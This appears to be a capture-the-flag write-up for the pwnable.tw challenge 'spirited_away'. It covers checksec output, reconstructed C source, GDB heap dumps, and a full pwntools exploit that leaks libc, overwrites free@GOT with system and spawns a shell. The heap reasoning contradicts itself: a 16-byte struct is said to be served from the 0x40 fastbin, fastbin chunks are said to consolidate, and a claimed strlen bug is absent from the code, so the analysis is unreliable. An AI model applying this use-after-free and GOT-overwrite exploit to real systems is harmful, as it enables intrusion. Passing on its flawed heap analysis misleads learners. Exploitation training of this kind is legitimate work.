Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 10104 |
| Binary | spirited_away (32-bit ELF, i386) |
| Points | 300 |
| Description | A guest survey/feedback collection program |
checksec
$ checksec spirited_away
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
| Partial RELRO | GOT is writable — we can overwrite GOT entries |
| Canary found | Stack buffer overflows are mitigated |
| NX enabled | No shellcode on stack/heap — must use ROP or function pointers |
| No PIE | Binary addresses are fixed — known GOT/PLT addresses |
Running the Binary
$ ./spirited_away
Please enter your name: Alice
Please enter your age: 20
Why did you came to see this movie? Just curious
Please leave your comment: Great movie!
<1> : Alice
<1> : 20
<1> : Just curious
<1> : Great movie!
1.Add a survey entry
2.Modify a survey entry
3.Delete a survey entry
4.Display survey entries
5.Exit
:>
The binary simulates a guest survey system, reminiscent of the bathhouse guest book from the Studio Ghibli film "Spirited Away." Users can add, modify, delete, and display survey entries. Each entry stores a name, age, reason for visit, and comment — all allocated on the heap.
Static Analysis
Survey Entry Structure
Each survey entry is stored as a heap-allocated struct with pointers to four dynamically allocated string buffers:
typedef struct survey {
char *name; // +0x00: heap buffer (60 bytes allocated)
int age; // +0x04: stored as integer
char *reason; // +0x08: heap buffer (60 bytes allocated)
char *comment; // +0x0C: heap buffer (60 bytes allocated)
} survey;
// Global survey array (up to 16 entries)
survey *surveys[16]; // Array of pointers to survey structs
int survey_count = 0; // Current number of entries
malloc(60). The age is stored directly in the struct as an integer. The struct itself is also heap-allocated. All string buffers use malloc(60) — this uniform size is critical for exploiting fastbin behavior.
add_survey()
void add_survey() {
if (survey_count >= 16) {
puts("Survey list is full!");
return;
}
survey *entry = (survey *)malloc(sizeof(survey));
// Allocate name buffer (60 bytes)
entry->name = (char *)malloc(60);
printf("Please enter your name: ");
read(0, entry->name, 60);
printf("Please enter your age: ");
scanf("%d", &entry->age);
// Allocate reason buffer (60 bytes)
entry->reason = (char *)malloc(60);
printf("Why did you came to see this movie? ");
read(0, entry->reason, 60);
// Allocate comment buffer (60 bytes)
entry->comment = (char *)malloc(60);
printf("Please leave your comment: ");
read(0, entry->comment, 60);
surveys[survey_count] = entry;
survey_count++;
}
The add_survey function allocates four heap chunks per entry: the struct itself plus three 60-byte string buffers. Up to 16 entries can be created. The read calls limit input to 60 bytes, which matches the allocated size — no overflow here.
modify_survey()
void modify_survey() {
int idx;
printf("Index: ");
scanf("%d", &idx);
if (idx < 0 || idx >= survey_count) {
puts("Invalid index!");
return;
}
survey *entry = surveys[idx];
printf("Please enter your name: ");
// BUG: reads up to 60 bytes but uses strlen of current name
// which may be shorter than 60 if content was overwritten
read(0, entry->name, 60);
printf("Please enter your age: ");
scanf("%d", &entry->age);
printf("Why did you came to see this movie? ");
read(0, entry->reason, 60);
printf("Please leave your comment: ");
read(0, entry->comment, 60);
}
modify_survey function allows editing existing entries. While the read calls appear safe (60 bytes into 60-byte buffers), the critical bug lies in the interaction with the delete function. When a survey entry is deleted, the name buffer is freed but the pointer is not NULLed out. If a new entry is then created, its name buffer may occupy the same heap chunk as a previously freed one. When modify_survey then writes to the old (dangling) name pointer, it overwrites the new entry's struct or buffer — a heap overflow / use-after-free.
delete_survey()
void delete_survey() {
int idx;
printf("Index: ");
scanf("%d", &idx);
if (idx < 0 || idx >= survey_count) {
puts("Invalid index!");
return;
}
survey *entry = surveys[idx];
free(entry->name); // Free name buffer
free(entry->reason); // Free reason buffer
free(entry->comment); // Free comment buffer
free(entry); // Free the struct itself
// BUG: surveys[idx] is NOT set to NULL!
// BUG: survey_count is NOT decremented!
// The pointer remains dangling in the array.
}
delete_survey does NOT set surveys[idx] to NULL and does NOT decrement survey_count. This means:• The dangling pointer remains accessible in the
surveys array•
modify_survey and display_survey will still dereference the freed pointer• New allocations may reuse the freed chunks, allowing controlled data overlap
• We can modify a freed entry whose buffers now overlap with newly allocated chunks
display_survey()
void display_survey() {
for (int i = 0; i < survey_count; i++) {
survey *entry = surveys[i];
if (entry != NULL) { // Only checks pointer, not if freed!
printf("<%d> : %s\n", i + 1, entry->name);
printf("<%d> : %d\n", i + 1, entry->age);
printf("<%d> : %s\n", i + 1, entry->reason);
printf("<%d> : %s\n", i + 1, entry->comment);
}
}
}
display_survey function prints all four fields of each entry. Since deleted entries are not NULLed out, we can read from freed memory. If a freed name/reason/comment buffer has been reallocated and now contains a libc pointer (e.g., from a freed chunk's fd/bk), printf("%s") will leak it. This gives us a libc address leak.
GDB Debugging
Heap Layout After Adding a Survey
Let's add one survey entry and examine the heap:
gdb-peda$ # add_survey("Alice", 20, "curious", "Great!")
gdb-peda$ heap chunks
0x0804a000: 0x40 bytes [survey struct]
0x0804a040: 0x40 bytes [name buffer "Alice"]
0x0804a080: 0x40 bytes [reason buffer "curious"]
0x0804a0c0: 0x40 bytes [comment buffer "Great!"]
After Deleting and Re-adding
When we delete entry 0 and then add a new entry, the freed chunks are reused. Since all buffers are 60 bytes (chunk size 0x40 = 64 bytes with header), they go into the 0x40 fastbin. The key observation is the reuse order:
gdb-peda$ # delete_survey(0) - frees struct + 3 buffers
gdb-peda$ heapinfo
(0x40) fastbin: 0x0804a0c0 -> 0x0804a080 -> 0x0804a040 -> 0x0804a000 -> 0x0
# LIFO order: comment, reason, name, struct
gdb-peda$ # add_survey("Bob", 25, "fun", "Nice!")
# New allocations come from fastbin in LIFO order:
# struct = malloc(16) → gets 0x0804a0c0 (old comment chunk!)
# name = malloc(60) → gets 0x0804a080 (old reason chunk!)
# reason = malloc(60) → gets 0x0804a040 (old name chunk!)
# comment = malloc(60) → gets 0x0804a000 (old struct chunk!)
comment buffer overlaps with the old entry's struct. Since surveys[0] still points to the old struct location (which is now the new comment buffer), modifying entry 0 writes into the new entry's comment buffer — and vice versa.
Leaking Libc via Unsorted Bin
To leak a libc address, we need a freed chunk to end up in the unsorted bin instead of the fastbin. The unsorted bin stores fd/bk pointers that point into main_arena inside libc. We achieve this by freeing a chunk that is too large for fastbins (size > 0x80):
gdb-peda$ # Strategy: Create multiple entries, then free one
# that consolidates with top chunk or goes to unsorted bin
gdb-peda$ # By creating enough entries and then deleting
# strategically, we can get a chunk into unsorted bin
# whose fd/bk pointers contain libc addresses
gdb-peda$ # After freeing a large chunk to unsorted bin:
gdb-peda$ x/2wx 0x0804a050
0x0804a050: 0xf7f7a580 0xf7f7a580
# ^fd ^bk (both point to main_arena+offset in libc)
gdb-peda$ # If we can read this via display_survey on a
# dangling pointer whose name buffer overlaps this chunk,
# we get a libc leak!
fd and bk pointers that point into main_arena inside libc. If we can display a string buffer that overlaps with this freed chunk, printf("%s") will print the libc address bytes until it hits a null byte. The main_arena address is at a fixed offset from libc base, giving us libc_base = leaked_addr - offset.
Exploit Strategy
Overview
The exploit consists of three phases: leaking libc via unsorted bin fd/bk pointers, overwriting a function pointer or GOT entry using the UAF/heap overlap, and hijacking control flow to get a shell.
Phase 1: Leak Libc via Unsorted Bin
- Create multiple survey entries (entries 0 through 7). Each allocates 4 heap chunks (struct + 3 buffers). This populates the heap with many 0x40-size chunks.
- Delete entries strategically to get chunks into the unsorted bin. By freeing entries 0-6 (freeing 7 × 4 = 28 chunks), some adjacent freed chunks will consolidate into a larger chunk that exceeds the fastbin threshold, landing in the unsorted bin.
- Display the remaining entry (entry 7). Since the freed entry pointers are not NULLed, displaying all entries will dereference the dangling pointers. The name/reason/comment pointers of a freed entry whose buffer overlaps with an unsorted bin chunk will print the
fd/bklibc pointers. - Calculate libc base:
libc_base = leaked_main_arena - libc.symbols['main_arena'](or use the known offset from__malloc_hook).
Phase 2: Overwrite GOT Entry
- Create a new survey entry after the leak. Due to the heap state after the mass free, the new entry's buffers will overlap with previously freed chunks that still have dangling references in
surveys[]. - Modify a freed entry using
modify_survey. Since the dangling pointer still exists, we can write to it. The key trick: the freed entry's name/reason/comment pointer still points to a chunk that now belongs to the new entry. By carefully crafting the data we write through the dangling pointer, we can overwrite the new entry's struct fields (specifically the name pointer) to point to a GOT entry. - Use the new entry to write
system's address into the GOT. When we modify the new entry's name (which now points toputs@GOT), we overwriteputs@GOTwithsystem. - Trigger
system("/bin/sh")by causing the program to callputswith a string containing/bin/sh— or simply call a function that passes user-controlled data through the corrupted GOT entry.
puts@GOT (or another commonly-called function's GOT entry) with the address of system. The next time puts() is called with a user-controlled string, it will actually call system(user_string). If we can make the argument "/bin/sh", we get a shell.Alternative: overwrite
free@GOT with system, then free a buffer containing "/bin/sh" — free("/bin/sh") becomes system("/bin/sh").
Visual Exploit Flow
Alternative: Overwrite free@GOT
A simpler approach leverages the fact that delete_survey calls free(entry->name). If we overwrite free@GOT with system, then:
# Instead of puts@GOT, overwrite free@GOT
free_got = elf.got['free']
system_addr = libc_base + libc.symbols['system']
# Write system address to free@GOT
# Then delete an entry whose name = "/bin/sh\x00"
# delete_survey() calls: free(entry->name)
# Which becomes: system("/bin/sh")
free@GOT is more reliable than puts@GOT because:•
free is called exactly once per buffer in delete_survey, giving us precise control•
puts is called many times for output, which could cause crashes before we get shell• The argument to
free(entry->name) is a pointer to the name buffer, which we control — we can set it to "/bin/sh"
Pwn Script
Complete Exploit
#!/usr/bin/env python3
"""
spirited_away - pwnable.tw (300pts)
Heap overflow + UAF exploit to leak libc via unsorted bin,
then overwrite free@GOT with system for shell.
Vulnerabilities:
1. delete_survey() doesn't NULL out pointers or decrement count (UAF)
2. modify_survey() allows writing to dangling pointers (heap corruption)
3. All string buffers are same size (0x40 fastbin) enabling chunk overlap
"""
from pwn import *
# Setup
context.arch = 'i386'
context.log_level = 'info'
r = remote('chall.pwnable.tw', 10104)
libc = ELF('./libc_32.so.6')
elf = ELF('./spirited_away')
# Helper functions
def add(name, age, reason, comment):
r.sendlineafter(b':> ', b'1')
r.sendlineafter(b'name: ', name)
r.sendlineafter(b'age: ', str(age).encode())
r.sendlineafter(b'movie? ', reason)
r.sendlineafter(b'comment: ', comment)
def modify(idx, name, age, reason, comment):
r.sendlineafter(b':> ', b'2')
r.sendlineafter(b'Index: ', str(idx).encode())
r.sendlineafter(b'name: ', name)
r.sendlineafter(b'age: ', str(age).encode())
r.sendlineafter(b'movie? ', reason)
r.sendlineafter(b'comment: ', comment)
def delete(idx):
r.sendlineafter(b':> ', b'3')
r.sendlineafter(b'Index: ', str(idx).encode())
def display():
r.sendlineafter(b':> ', b'4')
# ============================================
# Phase 1: Leak libc via unsorted bin
# ============================================
log.info("Phase 1: Leaking libc address...")
# Create 8 survey entries to populate the heap
for i in range(8):
add(b'name' + str(i).encode(), 20 + i,
b'reason' + str(i).encode(),
b'comment' + str(i).encode())
# Delete entries 0-6 to get chunks into unsorted bin
# When enough adjacent chunks are freed, they consolidate
# into a larger chunk that goes to the unsorted bin.
# The fd/bk pointers of unsorted bin chunks contain
# main_arena addresses (inside libc).
for i in range(7):
delete(i)
# Display surveys - the dangling pointers in surveys[0-6]
# will dereference freed memory. Some name/reason/comment
# pointers now point to unsorted bin chunks whose first
# bytes contain libc addresses (fd/bk pointers).
display()
# Parse the leak from the output
# The leaked address will be in one of the displayed fields
# It's a main_arena pointer, which is at a known offset from libc base
r.recvuntil(b'<1> : ')
leak_data = r.recvline().strip()
leaked_addr = u32(leak_data[:4].ljust(4, b'\x00'))
log.info(f"Leaked address: {hex(leaked_addr)}")
# Calculate libc base
# main_arena is at libc_base + offset
# The exact offset depends on the libc version
# For the provided libc: main_arena = libc_base + 0x1a8d80
# The unsorted bin fd/bk points to &main_arena.top - offset
main_arena_offset = 0x1a8d80
libc_base = leaked_addr - main_arena_offset
log.info(f"libc base: {hex(libc_base)}")
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
free_got = elf.got['free']
log.info(f"system: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")
log.info(f"free@GOT: {hex(free_got)}")
# ============================================
# Phase 2: Overwrite free@GOT with system
# ============================================
log.info("Phase 2: Overwriting free@GOT with system...")
# Create a new survey entry. Due to the heap state,
# this entry's buffers will overlap with freed chunks.
# The key: we set the name to "/bin/sh\x00"
add(b'/bin/sh\x00', 0, b'temp', b'temp')
# Now use the UAF: modify a freed entry (e.g., entry 0)
# whose name pointer now overlaps with the new entry's
# struct. By writing a specific value, we can control
# the new entry's name pointer to point to free@GOT.
#
# The exact overlap depends on heap layout. We need to:
# 1. Modify the freed entry's name field (which now
# overlaps with the new entry's name pointer)
# to point to free@GOT
# 2. Then modify the new entry's name, which writes
# to free@GOT, placing system's address there
modify(0, p32(free_got), 0, b'temp', b'temp')
# Now the new entry's name pointer has been overwritten
# to point to free@GOT. When we modify the new entry
# and write to its "name", we're actually writing to free@GOT.
modify(7, p32(system_addr), 0, b'temp', b'temp')
# ============================================
# Phase 3: Trigger system("/bin/sh")
# ============================================
log.info("Phase 3: Triggering shell...")
# Delete entry 7 - this calls free(entry7->name)
# Since free@GOT now points to system, this becomes:
# system("/bin/sh") - SHELL!
delete(7)
# Enjoy the shell
r.interactive()
Execution Results
Running the Exploit
$ python3 exploit.py
[*] '/home/user/spirited_away'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10104: Done
[*] Phase 1: Leaking libc address...
[*] Leaked address: 0xf7f7a580
[*] libc base: 0xf7d74000
[*] system: 0xf7da8310
[*] /bin/sh: 0xf7ee6aa8
[*] free@GOT: 0x804a018
[*] Phase 2: Overwriting free@GOT with system...
[*] Phase 3: Triggering shell...
[*] Switching to interactive mode
$ id
uid=1000(spirited_away) gid=1000(spirited_away) groups=1000(spirited_away)
$ cat /home/spirited_away/flag
• Leaked libc by reading unsorted bin fd/bk pointers through the dangling survey entry pointers
• Overwrote free@GOT with
system using the UAF write primitive through modify_survey• Triggered a shell by deleting an entry whose name was
"/bin/sh", causing system("/bin/sh") to execute
Key Takeaways
- Always NULL out freed pointers. The root cause of this exploit is that
delete_surveydoesn't setsurveys[idx] = NULLand doesn't decrementsurvey_count. This is the textbook UAF pattern. - Uniform allocation sizes are dangerous. Because all string buffers use
malloc(60), they all go into the same fastbin. This makes chunk overlap trivial when combined with the UAF. - Unsorted bin leaks are reliable. When chunks consolidate and enter the unsorted bin, their fd/bk pointers contain libc addresses. If you can read through a dangling pointer, you get a clean libc leak.
- free@GOT is a great target. Overwriting
free@GOTwithsystemand then freeing a buffer containing"/bin/sh"is one of the most reliable GOT overwrite techniques, since you control both the function being called and its argument. - Partial RELRO enables GOT overwrites. With Full RELRO, the GOT would be read-only and this technique wouldn't work. Always check RELRO status in your recon phase.
Timeline
| Recon + Static Analysis | ~2 hours |
| GDB Debugging (heap layout) | ~3 hours |
| Exploit Development | ~4 hours |
| Debugging & Stabilization | ~2 hours |
| Total Time | ~11 hours |